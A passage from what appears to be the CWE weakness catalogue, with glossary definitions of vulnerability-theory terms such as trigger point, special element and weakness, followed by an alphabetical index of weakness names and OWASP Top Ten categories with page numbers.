Security Policy in vulnerability theory, a set of valid behaviors, properties, and resources within the context of operation of a software system. The policy is generally implicit (as reflected in the code, or the programmer's assumptions), but it can be explicit.

Slice a view that is a flat list of CWE entries that does not specify any relationships between those entries.

Special Element a general term for a sequence of bytes, characters, or words that is used to separate different portions of data within a particular representation or language. The most commonly understood usage of special elements is in single characters, such as the "<" in HTML, which marks the beginning of a tag. As another example, the CRLF (carriage return / line feed) character is used as a separator between headers in MIME messages, so CRLF is a special element. When multi-part MIME messages are constructed, the boundary string becomes a special element. Special elements are often important in weaknesses that can be exploited by injection attacks. A special element in one representation might not be special in another. For example, whitespace is a special element when executing a command in a shell (since it acts as an argument separator), but it has no special meaning in the body of HTML or e-mail messages.

Sphere of Control See Control Sphere

Trailing used to describe a manipulation that occurs at the end of an identifier or input. This term is often used in conjunction with special elements. For example, the string "example.com." has a trailing "." character.

Trigger Point a vulnerability theory term for the location in code after which the software can no longer prevent itself from violating the intended security policy. For example, in SQL injection, the code reads an input from a parameter (interaction point), incorrectly checks the input for dangerous characters (crossover point), inserts the input into a dynamically generated query string, then sends the query string to the database server (trigger point), then the query is processed by the server (activation point). See the Vulnerability Theory paper for more details.

Unexpected violating the assumptions of the developer or operator of the software. This is typically used to describe the state of the software, a behavior that was not intended, or a property of a resource that was not assumed to be present. For example, if an e-commerce program allows a user to specify the quantity of items to purchase, and the program assumes that the quantity will be a number, then the string "abcde" is unexpected. A program crash is usually unexpected behavior. Similarly, when a programmer dereferences a pointer, it is usually unexpected if that pointer can be NULL. Attacks often leverage unexpected properties and behaviors, since the developer has not necessarily provided a sufficient defense.

Variant a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.

View a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).

Vulnerability an occurrence of a weakness (or multiple weaknesses) within software, in which the weakness can be used by a party to cause the software to modify or access unintended data, interrupt proper execution, or perform incorrect actions that were not specifically granted to the party who uses the weakness.

Weakness a type of mistake in software that, in proper conditions, could contribute to the introduction of vulnerabilities within that software. This term applies to mistakes regardless of whether they occur in implementation, design, or other phases of the SDLC.

Misinterpretation of Input, 217
Mismatched Memory Management Routines, 1165
Missing Authentication for Critical Function, 538
Missing Authorization, 1303
Missing Check for Certificate Revocation after Initial Check, 650
Missing Critical Step in Authentication, 536
Missing Custom Error Page, 1154
Missing Default Case in Switch Statement, 806
Missing Encryption of Sensitive Data, 549
Missing Handler, 741
Missing Initialization of a Variable, 772
Missing Initialization of Resource, 1336
Missing Lock Check, 717
Missing Password Field Masking, 890
Missing Reference to Active Allocated Resource, 1185
Missing Reference to Active File Descriptor or Handle, 1190
Missing Release of File Descriptor or Handle after Effective Lifetime, 1192
Missing Release of Resource after Effective Lifetime, 1186
Missing Report of Error Condition, 678
Missing Required Cryptographic Step, 571
Missing Standardized Error Handling Mechanism, 886
Missing Support for Integrity Check, 617
Missing Synchronization, 1252
Missing Validation of OpenSSL Certificate, 942
Missing XML Validation, 210
Mobile Code Issues, 828
Modification of Assumed-Immutable Data (MAID), 793
Motivation/Intent, 853
Multiple Binds to the Same Port, 953
Multiple Interpretations of UI Input, 764
Multiple Locks of a Critical Resource, 1171
Multiple Unlocks of a Critical Resource, 1172

N

Named Chains, 1112 *(Graph: 1469)*
.NET Environment Issues, 863
.NET Misconfiguration: Use of Impersonation, 864
Non-exit on Failed Initialization, 771
Non-Replicating Malicious Code, 856
Not Failing Securely ('Failing Open'), 985
Not Using a Random IV with CBC Mode, 581
Not Using Complete Mediation, 988
Not Using Password Aging, 467
Null Byte Interaction Error (Poison Null Byte), 976
NULL Pointer Dereference, 800
Numeric Errors, 360
Numeric Range Comparison Without Minimum Check, 1283
Numeric Truncation Error, 381

O

Object Model Violation: Just One of Equals and Hashcode Defined, 924
Obscured Security-relevant Information by Alternate Name, 416
Obsolete Feature in UI, 763
Off-by-one Error, 371
Often Misused: Arguments and Parameters, 896
Often Misused: String Management, 446
Omission of Security-relevant Information, 415
Omitted Break Statement in Switch, 819
Only Filtering One Instance of a Special Element, 1219
Only Filtering Special Elements at a Specified Location, 1221
Only Filtering Special Elements at an Absolute Position, 1222
Only Filtering Special Elements Relative to a Marker, 1222
Operation on a Resource after Expiration or Release, 1041
Operation on Resource in Wrong Phase of Lifetime, 1033
Operator Precedence Logic Error, 1203
Origin Validation Error, 603
Other Intentional, Nonmalicious Weakness, 862
Out-of-bounds Read, 253
Out-of-bounds Write, 1211
Overly Permissive Cross-domain Whitelist, 1371
Overly Restrictive Account Lockout Mechanism, 1002
Overly Restrictive Regular Expression, 356
OWASP Top Ten 2004 Category A1 - Unvalidated Input, 1118
OWASP Top Ten 2004 Category A10 - Insecure Configuration Management, 1123
OWASP Top Ten 2004 Category A2 - Broken Access Control, 1119
OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management, 1120
OWASP Top Ten 2004 Category A4 - Cross-Site Scripting (XSS) Flaws, 1121
OWASP Top Ten 2004 Category A5 - Buffer Overflows, 1121
OWASP Top Ten 2004 Category A6 - Injection Flaws, 1121
OWASP Top Ten 2004 Category A7 - Improper Error Handling, 1122
OWASP Top Ten 2004 Category A8 - Insecure Storage, 1122
OWASP Top Ten 2004 Category A9 - Denial of Service, 1123
OWASP Top Ten 2007 Category A1 - Cross Site Scripting (XSS), 1114
OWASP Top Ten 2007 Category A10 - Failure to Restrict URL Access, 1118
OWASP Top Ten 2007 Category A2 - Injection Flaws, 1115

OWASP Top Ten 2007 Category A3 - Malicious File Execution, 1115
OWASP Top Ten 2007 Category A4 - Insecure Direct Object Reference, 1116
OWASP Top Ten 2007 Category A5 - Cross Site Request Forgery (CSRF), 1116
OWASP Top Ten 2007 Category A6 - Information Leakage and Improper Error Handling, 1116
OWASP Top Ten 2007 Category A7 - Broken Authentication and Session Management, 1117
OWASP Top Ten 2007 Category A8 - Insecure Cryptographic Storage, 1117
OWASP Top Ten 2007 Category A9 - Insecure Communications, 1118
OWASP Top Ten 2010 Category A1 - Injection, 1249
OWASP Top Ten 2010 Category A10 - Unvalidated Redirects and Forwards, 1252
OWASP Top Ten 2010 Category A2 - Cross-Site Scripting (XSS), 1249
OWASP Top Ten 2010 Category A3 - Broken Authentication and Session Management, 1250
OWASP Top Ten 2010 Category A4 - Insecure Direct Object References, 1250
OWASP Top Ten 2010 Category A5 - Cross-Site Request Forgery(CSRF), 1250
OWASP Top Ten 2010 Category A6 - Security Misconfiguration, 1251
OWASP Top Ten 2010 Category A7 - Insecure Cryptographic Storage, 1251
OWASP Top Ten 2010 Category A8 - Failure to Restrict URL Access, 1251
OWASP Top Ten 2010 Category A9 - Insufficient Transport Layer Protection, 1252
OWASP Top Ten 2013 Category A1 - Injection, 1362
OWASP Top Ten 2013 Category A10 - Unvalidated Redirects and Forwards, 1366
OWASP Top Ten 2013 Category A2 - Broken Authentication and Session Management, 1363
OWASP Top Ten 2013 Category A3 - Cross-Site Scripting (XSS), 1363
OWASP Top Ten 2013 Category A4 - Insecure Direct Object References, 1363
OWASP Top Ten 2013 Category A5 - Security Misconfiguration, 1364
OWASP Top Ten 2013 Category A6 - Sensitive Data Exposure, 1364
OWASP Top Ten 2013 Category A7 - Missing Function Level Access Control, 1365
OWASP Top Ten 2013 Category A8 - Cross-Site Request Forgery (CSRF), 1365
OWASP Top Ten 2013 Category A9 - Using Components with Known Vulnerabilities, 1365

P

Partial Comparison, 357
Passing Mutable Objects to an Untrusted Method, 653
Password Aging with Long Expiration, 468
Password in Configuration File, 464
Path Equivalence: ' filename' (Leading Space), 81
Path Equivalence: '/./' (Single Dot Directory), 87
Path Equivalence: '//multiple/leading/slash', 83
Path Equivalence: '/multiple//internal/slash', 84
Path Equivalence: '/multiple/trailing/slash//', 85
Path Equivalence: '\multiple\\internal\backslash', 86
Path Equivalence: 'fakedir/../realdir/filename', 89
Path Equivalence: 'file name' (Internal Whitespace), 82
Path Equivalence: 'filedir*' (Wildcard), 88
Path Equivalence: 'filedir\' (Trailing Backslash), 86
Path Equivalence: 'filename ' (Trailing Space), 80
Path Equivalence: 'file.name' (Internal Dot), 79
Path Equivalence: 'file...name' (Multiple Internal Dot), 80
Path Equivalence: 'filename....' (Multiple Trailing Dot), 79
Path Equivalence: 'filename.' (Trailing Dot), 78
Path Equivalence: 'filename/' (Trailing Slash), 83
Path Equivalence: Windows 8.3 Filename, 90
Path Traversal: '....' (Multiple Dot), 58
Path Traversal: '...' (Triple Dot), 57
Path Traversal: '....//', 60
Path Traversal: '.../...//', 62
Path Traversal: '/../filedir', 46
Path Traversal: '/absolute/pathname/here', 67
Path Traversal: '/dir/../filename', 48
Path Traversal: '../filedir', 45
Path Traversal: '\..\filename', 52
Path Traversal: '\\UNC\share\name\' (Windows UNC Share), 72
Path Traversal: '\absolute\pathname\here', 68
Path Traversal: '\dir\..\filename', 54
Path Traversal: '..\filedir', 51
Path Traversal: 'C:dirname', 70
Path Traversal: 'dir/../../filename', 49
Path Traversal: 'dir\..\..\filename', 55
Pathname Traversal and Equivalence Errors, 29
Permission Issues, 489
Permission Race Condition During Resource Copy, 1072
Permissions, Privileges, and Access Controls, 469
Permissive Regular Expression, 975
Permissive Whitelist, 352
PHP External Variable Modification, 798
Placement of User into Incorrect Group, 1290
Plaintext Storage of a Password, 455
Pointer Issues, 784
Predictability Problems, 597
Predictable Exact Value from Previous Values, 599
Predictable from Observable State, 597
Predictable Seed in PRNG, 594
Predictable Value Range from Previous Values, 600
Premature Release of Resource During Expected Lifetime, 1261
Private Array-Typed Field Returned From A Public Method, 840
Privilege / Sandbox Issues, 470
Privilege Chaining, 476
Privilege Context Switching Error, 480
Privilege Defined With Unsafe Actions, 474
Privilege Dropping / Lowering Errors, 481
PRNG Seed Error, 592
Process Control, 215
Product UI does not Warn User of Unsafe Actions, 621
Protection Mechanism Failure, 1077
Public cloneable() Method Without Final ('Object Hijack'), 828
Public Data Assigned to Private Array-Typed Field, 841
Public Static Field Not Marked Final, 847
Public Static Final Field References Mutable Object, 955

R

Race Condition During Access to Alternate Channel, 726
Race Condition Enabling Link Following, 635
Race Condition in Switch, 640
Race Condition within a Thread, 641
Reachable Assertion, 966
Reflection Attack in an Authentication Protocol, 533
Regular Expression without Anchors, 1195
Relative Path Traversal, 40
Release of Invalid Pointer or Reference, 1167
Reliance on a Single Factor in a Security Decision, 1014

Reliance on Cookies without Validation and Integrity Checking, 903
Reliance on Cookies without Validation and Integrity Checking in a Security Decision, 1205
Reliance on Data/Memory Layout, 359
Reliance on File Name or Extension of Externally-Supplied File, 1003
Reliance on IP Address for Authentication, 518
Reliance on Obfuscation or Encryption of Security-Relevant Inputs without Integrity Checking, 1008
Reliance on Package-level Scope, 824
Reliance on Reverse DNS Resolution for a Security-Critical Action, 609
Reliance on Security Through Obscurity, 1017
Reliance on Undefined, Unspecified, or Implementation-Defined Behavior, 1156
Reliance on Untrusted Inputs in a Security Decision, 1243
Replicating Malicious Code (Virus or Worm), 857
Representation Errors, 284
Research Concepts, 1413 *(Graph: 1505)*
Resource Locking Problems, 712
Resource Management Errors, 688
Resource-specific Weaknesses, 982 *(Graph: 1441)*
Response Discrepancy Information Exposure, 392
Return Inside Finally Block, 926
Return of Pointer Value Outside of Expected Range, 785
Return of Stack Variable Address, 900
Return of Wrong Status Code, 679
Returning a Mutable Object to an Untrusted Caller, 655
Reusing a Nonce, Key Pair in Encryption, 569
Reversible One-Way Hash, 579

S

Same Seed in PRNG, 593
Security Features, 453
Selection of Less-Secure Algorithm During Negotiation ('Algorithm Downgrade'), 1155
Sensitive Cookie in HTTPS Session Without 'Secure' Attribute, 963
Sensitive Cookie Without 'HttpOnly' Flag, 1415
Sensitive Data Storage in Improperly Locked Memory, 934
Sensitive Data Under FTP Root, 413
Sensitive Data Under Web Root, 412
Sensitive Information Uncleared Before Release, 417
Serializable Class Containing Sensitive Data, 845
Server-Side Request Forgery (SSRF), 1349
Session Fixation, 665
